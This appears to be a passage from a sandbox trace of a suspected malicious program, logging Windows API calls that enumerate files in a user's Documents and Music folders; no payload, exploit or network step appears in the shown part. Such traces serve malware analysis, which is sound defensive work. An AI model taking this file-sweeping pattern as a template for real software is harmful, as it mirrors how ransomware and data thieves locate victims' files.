ftCreationTime.dwLowDateTime=0x77c02d0, ftCreationTime.dwHighDateTime=0x1d993bd, ftLastAccessTime.dwLowDateTime=0x9caf0580, ftLastAccessTime.dwHighDateTime=0x1d9967b, ftLastWriteTime.dwLowDateTime=0x9caf0580, ftLastWriteTime.dwHighDateTime=0x1d9967b, nFileSizeHigh=0x0, nFileSizeLow=0x986b, dwReserved0=0x0, dwReserved1=0x0, cFileName="9MzqSWBGMN37qagw.docx", cAlternateFileName="9MZQSW~1.DOC")) returned 1 [0222.212] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb6b850, ftCreationTime.dwHighDateTime=0x1d991c3, ftLastAccessTime.dwLowDateTime=0x7f444d70, ftLastAccessTime.dwHighDateTime=0x1d995cc, ftLastWriteTime.dwLowDateTime=0x7f444d70, ftLastWriteTime.dwHighDateTime=0x1d995cc, nFileSizeHigh=0x0, nFileSizeLow=0x13c7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="aqceTFEp5yu2gkXV25.xls", cAlternateFileName="AQCETF~1.XLS")) returned 1 [0222.212] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcef20840, ftCreationTime.dwHighDateTime=0x1d9932d, ftLastAccessTime.dwLowDateTime=0x7ea5c1c0, ftLastAccessTime.dwHighDateTime=0x1d99c96, ftLastWriteTime.dwLowDateTime=0x7ea5c1c0, ftLastWriteTime.dwHighDateTime=0x1d99c96, nFileSizeHigh=0x0, nFileSizeLow=0x133f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9jhWIyDhN1ZISTl.ods", cAlternateFileName="E9JHWI~1.ODS")) returned 1 [0222.212] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dbbdb0, ftCreationTime.dwHighDateTime=0x1d98f4f, ftLastAccessTime.dwLowDateTime=0x6ce45b30, ftLastAccessTime.dwHighDateTime=0x1d99b89, ftLastWriteTime.dwLowDateTime=0x6ce45b30, ftLastWriteTime.dwHighDateTime=0x1d99b89, nFileSizeHigh=0x0, nFileSizeLow=0xe16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EpDUko7PhbNm.pdf", cAlternateFileName="EPDUKO~1.PDF")) returned 1 [0222.212] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9abf8b90, ftCreationTime.dwHighDateTime=0x1d99b9f, ftLastAccessTime.dwLowDateTime=0x224085d0, ftLastAccessTime.dwHighDateTime=0x1d99bda, ftLastWriteTime.dwLowDateTime=0x224085d0, ftLastWriteTime.dwHighDateTime=0x1d99bda, nFileSizeHigh=0x0, nFileSizeLow=0x6761, dwReserved0=0x0, dwReserved1=0x0, cFileName="FjpAUyBD1N80GMJOKmS.pdf", cAlternateFileName="FJPAUY~1.PDF")) returned 1 [0222.212] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53319850, ftCreationTime.dwHighDateTime=0x1d99d1a, ftLastAccessTime.dwLowDateTime=0x468640, ftLastAccessTime.dwHighDateTime=0x1d99d1b, ftLastWriteTime.dwLowDateTime=0x468640, ftLastWriteTime.dwHighDateTime=0x1d99d1b, nFileSizeHigh=0x0, nFileSizeLow=0x15193, dwReserved0=0x0, dwReserved1=0x0, cFileName="iVo2BB2Qx 3Y7-C.odt", cAlternateFileName="IVO2BB~1.ODT")) returned 1 [0222.212] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3871c2d0, ftCreationTime.dwHighDateTime=0x1d99ae8, ftLastAccessTime.dwLowDateTime=0xa5df0b60, ftLastAccessTime.dwHighDateTime=0x1d99c38, ftLastWriteTime.dwLowDateTime=0xa5df0b60, ftLastWriteTime.dwHighDateTime=0x1d99c38, nFileSizeHigh=0x0, nFileSizeLow=0x8dbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="nLL9xV0ZSXa4wM7P3nm_.ods", cAlternateFileName="NLL9XV~1.ODS")) returned 1 [0222.212] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6ab2b0, ftCreationTime.dwHighDateTime=0x1d99a0e, ftLastAccessTime.dwLowDateTime=0xf0969400, ftLastAccessTime.dwHighDateTime=0x1d99be0, ftLastWriteTime.dwLowDateTime=0xf0969400, ftLastWriteTime.dwHighDateTime=0x1d99be0, nFileSizeHigh=0x0, nFileSizeLow=0x1602a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WH9Xeb.pps", cAlternateFileName="")) returned 1 [0222.213] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea472810, ftCreationTime.dwHighDateTime=0x1d9926e, ftLastAccessTime.dwLowDateTime=0x42c091b0, ftLastAccessTime.dwHighDateTime=0x1d998fb, ftLastWriteTime.dwLowDateTime=0x42c091b0, ftLastWriteTime.dwHighDateTime=0x1d998fb, nFileSizeHigh=0x0, nFileSizeLow=0x15508, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZVWhnWVRu4dk.odt", cAlternateFileName="ZVWHNW~1.ODT")) returned 1 [0222.213] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.213] FindClose (in: hFindFile=0x1d1f5cb0 | out: hFindFile=0x1d1f5cb0) returned 1 [0222.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0222.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0222.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0222.213] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km\\0EiD3JlF5Jr WNnCBsF", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km\\0EiD3JlF5Jr WNnCBsF", lpFilePart=0x0) returned 0x5c [0222.213] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\s2g8-azJNisE\\elxihjlyljNh8UFO8km\\0EiD3JlF5Jr WNnCBsF\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\s2g8-azjnise\\elxihjlyljnh8ufo8km\\0eid3jlf5jr wnncbsf\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbbe7b880, ftCreationTime.dwHighDateTime=0x1d996b6, ftLastAccessTime.dwLowDateTime=0x29153360, ftLastAccessTime.dwHighDateTime=0x1d997cf, ftLastWriteTime.dwLowDateTime=0x29153360, ftLastWriteTime.dwHighDateTime=0x1d997cf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0222.213] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbbe7b880, ftCreationTime.dwHighDateTime=0x1d996b6, ftLastAccessTime.dwLowDateTime=0x29153360, ftLastAccessTime.dwHighDateTime=0x1d997cf, ftLastWriteTime.dwLowDateTime=0x29153360, ftLastWriteTime.dwHighDateTime=0x1d997cf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.214] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c02d0, ftCreationTime.dwHighDateTime=0x1d993bd, ftLastAccessTime.dwLowDateTime=0x9caf0580, ftLastAccessTime.dwHighDateTime=0x1d9967b, ftLastWriteTime.dwLowDateTime=0x9caf0580, ftLastWriteTime.dwHighDateTime=0x1d9967b, nFileSizeHigh=0x0, nFileSizeLow=0x986b, dwReserved0=0x0, dwReserved1=0x0, cFileName="9MzqSWBGMN37qagw.docx", cAlternateFileName="9MZQSW~1.DOC")) returned 1 [0222.214] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb6b850, ftCreationTime.dwHighDateTime=0x1d991c3, ftLastAccessTime.dwLowDateTime=0x7f444d70, ftLastAccessTime.dwHighDateTime=0x1d995cc, ftLastWriteTime.dwLowDateTime=0x7f444d70, ftLastWriteTime.dwHighDateTime=0x1d995cc, nFileSizeHigh=0x0, nFileSizeLow=0x13c7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="aqceTFEp5yu2gkXV25.xls", cAlternateFileName="AQCETF~1.XLS")) returned 1 [0222.214] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcef20840, ftCreationTime.dwHighDateTime=0x1d9932d, ftLastAccessTime.dwLowDateTime=0x7ea5c1c0, ftLastAccessTime.dwHighDateTime=0x1d99c96, ftLastWriteTime.dwLowDateTime=0x7ea5c1c0, ftLastWriteTime.dwHighDateTime=0x1d99c96, nFileSizeHigh=0x0, nFileSizeLow=0x133f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9jhWIyDhN1ZISTl.ods", cAlternateFileName="E9JHWI~1.ODS")) returned 1 [0222.214] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dbbdb0, ftCreationTime.dwHighDateTime=0x1d98f4f, ftLastAccessTime.dwLowDateTime=0x6ce45b30, ftLastAccessTime.dwHighDateTime=0x1d99b89, ftLastWriteTime.dwLowDateTime=0x6ce45b30, ftLastWriteTime.dwHighDateTime=0x1d99b89, nFileSizeHigh=0x0, nFileSizeLow=0xe16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EpDUko7PhbNm.pdf", cAlternateFileName="EPDUKO~1.PDF")) returned 1 [0222.214] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9abf8b90, ftCreationTime.dwHighDateTime=0x1d99b9f, ftLastAccessTime.dwLowDateTime=0x224085d0, ftLastAccessTime.dwHighDateTime=0x1d99bda, ftLastWriteTime.dwLowDateTime=0x224085d0, ftLastWriteTime.dwHighDateTime=0x1d99bda, nFileSizeHigh=0x0, nFileSizeLow=0x6761, dwReserved0=0x0, dwReserved1=0x0, cFileName="FjpAUyBD1N80GMJOKmS.pdf", cAlternateFileName="FJPAUY~1.PDF")) returned 1 [0222.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0222.218] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Local Settings", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Local Settings", lpFilePart=0x0) returned 0x24 [0222.218] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Local Settings\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\local settings\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0222.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0222.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0222.223] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music", lpFilePart=0x0) returned 0x1b [0222.223] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf51d96fc, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf51d96fc, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0222.223] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf51d96fc, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf51d96fc, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.223] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61aa58d0, ftCreationTime.dwHighDateTime=0x1d99b90, ftLastAccessTime.dwLowDateTime=0xc2bfe1f0, ftLastAccessTime.dwHighDateTime=0x1d99c42, ftLastWriteTime.dwLowDateTime=0xc2bfe1f0, ftLastWriteTime.dwHighDateTime=0x1d99c42, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="68UJezkfNa3Hf1SPf", cAlternateFileName="68UJEZ~1")) returned 1 [0222.223] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb517e350, ftCreationTime.dwHighDateTime=0x1d98cd3, ftLastAccessTime.dwLowDateTime=0x5b557880, ftLastAccessTime.dwHighDateTime=0x1d990c7, ftLastWriteTime.dwLowDateTime=0x5b557880, ftLastWriteTime.dwHighDateTime=0x1d990c7, nFileSizeHigh=0x0, nFileSizeLow=0x17bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Mwm6NluEXG9sOYf.m4a", cAlternateFileName="8MWM6N~1.M4A")) returned 1 [0222.224] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb328ac60, ftCreationTime.dwHighDateTime=0x1d98f16, ftLastAccessTime.dwLowDateTime=0x667d1650, ftLastAccessTime.dwHighDateTime=0x1d9926b, ftLastWriteTime.dwLowDateTime=0x667d1650, ftLastWriteTime.dwHighDateTime=0x1d9926b, nFileSizeHigh=0x0, nFileSizeLow=0x131cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="8yB3kO0V41lR5.wav", cAlternateFileName="8YB3KO~1.WAV")) returned 1 [0222.224] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43649a85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43649a85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0222.224] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadcd73b0, ftCreationTime.dwHighDateTime=0x1d99cca, ftLastAccessTime.dwLowDateTime=0x77513750, ftLastAccessTime.dwHighDateTime=0x1d99ce7, ftLastWriteTime.dwLowDateTime=0x77513750, ftLastWriteTime.dwHighDateTime=0x1d99ce7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="h3P6g8ow9qo4O", cAlternateFileName="H3P6G8~1")) returned 1 [0222.224] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cbc880, ftCreationTime.dwHighDateTime=0x1d99a4c, ftLastAccessTime.dwLowDateTime=0x258e39e0, ftLastAccessTime.dwHighDateTime=0x1d99c8d, ftLastWriteTime.dwLowDateTime=0x258e39e0, ftLastWriteTime.dwHighDateTime=0x1d99c8d, nFileSizeHigh=0x0, nFileSizeLow=0x3187, dwReserved0=0x0, dwReserved1=0x0, cFileName="i5B4OUI4Wszh.m4a", cAlternateFileName="I5B4OU~1.M4A")) returned 1 [0222.224] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf10ca0, ftCreationTime.dwHighDateTime=0x1d99bd5, ftLastAccessTime.dwLowDateTime=0xca7076c0, ftLastAccessTime.dwHighDateTime=0x1d99cfc, ftLastWriteTime.dwLowDateTime=0xca7076c0, ftLastWriteTime.dwHighDateTime=0x1d99cfc, nFileSizeHigh=0x0, nFileSizeLow=0x121cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="swsAoA.m4a", cAlternateFileName="")) returned 1 [0222.224] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e444c0, ftCreationTime.dwHighDateTime=0x1d990b1, ftLastAccessTime.dwLowDateTime=0xf0f6a350, ftLastAccessTime.dwHighDateTime=0x1d99617, ftLastWriteTime.dwLowDateTime=0xf0f6a350, ftLastWriteTime.dwHighDateTime=0x1d99617, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="y9QGRligVgFrBOZssbFu", cAlternateFileName="Y9QGRL~1")) returned 1 [0222.225] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e444c0, ftCreationTime.dwHighDateTime=0x1d990b1, ftLastAccessTime.dwLowDateTime=0xf0f6a350, ftLastAccessTime.dwHighDateTime=0x1d99617, ftLastWriteTime.dwLowDateTime=0xf0f6a350, ftLastWriteTime.dwHighDateTime=0x1d99617, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="y9QGRligVgFrBOZssbFu", cAlternateFileName="Y9QGRL~1")) returned 0 [0222.225] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0222.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0222.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0222.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0222.225] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music", lpFilePart=0x0) returned 0x1b [0222.225] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf51d96fc, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf51d96fc, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0222.225] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf51d96fc, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf51d96fc, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.226] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61aa58d0, ftCreationTime.dwHighDateTime=0x1d99b90, ftLastAccessTime.dwLowDateTime=0xc2bfe1f0, ftLastAccessTime.dwHighDateTime=0x1d99c42, ftLastWriteTime.dwLowDateTime=0xc2bfe1f0, ftLastWriteTime.dwHighDateTime=0x1d99c42, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="68UJezkfNa3Hf1SPf", cAlternateFileName="68UJEZ~1")) returned 1 [0222.226] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb517e350, ftCreationTime.dwHighDateTime=0x1d98cd3, ftLastAccessTime.dwLowDateTime=0x5b557880, ftLastAccessTime.dwHighDateTime=0x1d990c7, ftLastWriteTime.dwLowDateTime=0x5b557880, ftLastWriteTime.dwHighDateTime=0x1d990c7, nFileSizeHigh=0x0, nFileSizeLow=0x17bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Mwm6NluEXG9sOYf.m4a", cAlternateFileName="8MWM6N~1.M4A")) returned 1 [0222.226] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb328ac60, ftCreationTime.dwHighDateTime=0x1d98f16, ftLastAccessTime.dwLowDateTime=0x667d1650, ftLastAccessTime.dwHighDateTime=0x1d9926b, ftLastWriteTime.dwLowDateTime=0x667d1650, ftLastWriteTime.dwHighDateTime=0x1d9926b, nFileSizeHigh=0x0, nFileSizeLow=0x131cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="8yB3kO0V41lR5.wav", cAlternateFileName="8YB3KO~1.WAV")) returned 1 [0222.226] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43649a85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43649a85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0222.226] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadcd73b0, ftCreationTime.dwHighDateTime=0x1d99cca, ftLastAccessTime.dwLowDateTime=0x77513750, ftLastAccessTime.dwHighDateTime=0x1d99ce7, ftLastWriteTime.dwLowDateTime=0x77513750, ftLastWriteTime.dwHighDateTime=0x1d99ce7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="h3P6g8ow9qo4O", cAlternateFileName="H3P6G8~1")) returned 1 [0222.226] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cbc880, ftCreationTime.dwHighDateTime=0x1d99a4c, ftLastAccessTime.dwLowDateTime=0x258e39e0, ftLastAccessTime.dwHighDateTime=0x1d99c8d, ftLastWriteTime.dwLowDateTime=0x258e39e0, ftLastWriteTime.dwHighDateTime=0x1d99c8d, nFileSizeHigh=0x0, nFileSizeLow=0x3187, dwReserved0=0x0, dwReserved1=0x0, cFileName="i5B4OUI4Wszh.m4a", cAlternateFileName="I5B4OU~1.M4A")) returned 1 [0222.227] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf10ca0, ftCreationTime.dwHighDateTime=0x1d99bd5, ftLastAccessTime.dwLowDateTime=0xca7076c0, ftLastAccessTime.dwHighDateTime=0x1d99cfc, ftLastWriteTime.dwLowDateTime=0xca7076c0, ftLastWriteTime.dwHighDateTime=0x1d99cfc, nFileSizeHigh=0x0, nFileSizeLow=0x121cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="swsAoA.m4a", cAlternateFileName="")) returned 1 [0222.227] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e444c0, ftCreationTime.dwHighDateTime=0x1d990b1, ftLastAccessTime.dwLowDateTime=0xf0f6a350, ftLastAccessTime.dwHighDateTime=0x1d99617, ftLastWriteTime.dwLowDateTime=0xf0f6a350, ftLastWriteTime.dwHighDateTime=0x1d99617, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="y9QGRligVgFrBOZssbFu", cAlternateFileName="Y9QGRL~1")) returned 1 [0222.227] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.227] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0222.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0222.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0222.227] SetThreadErrorMode 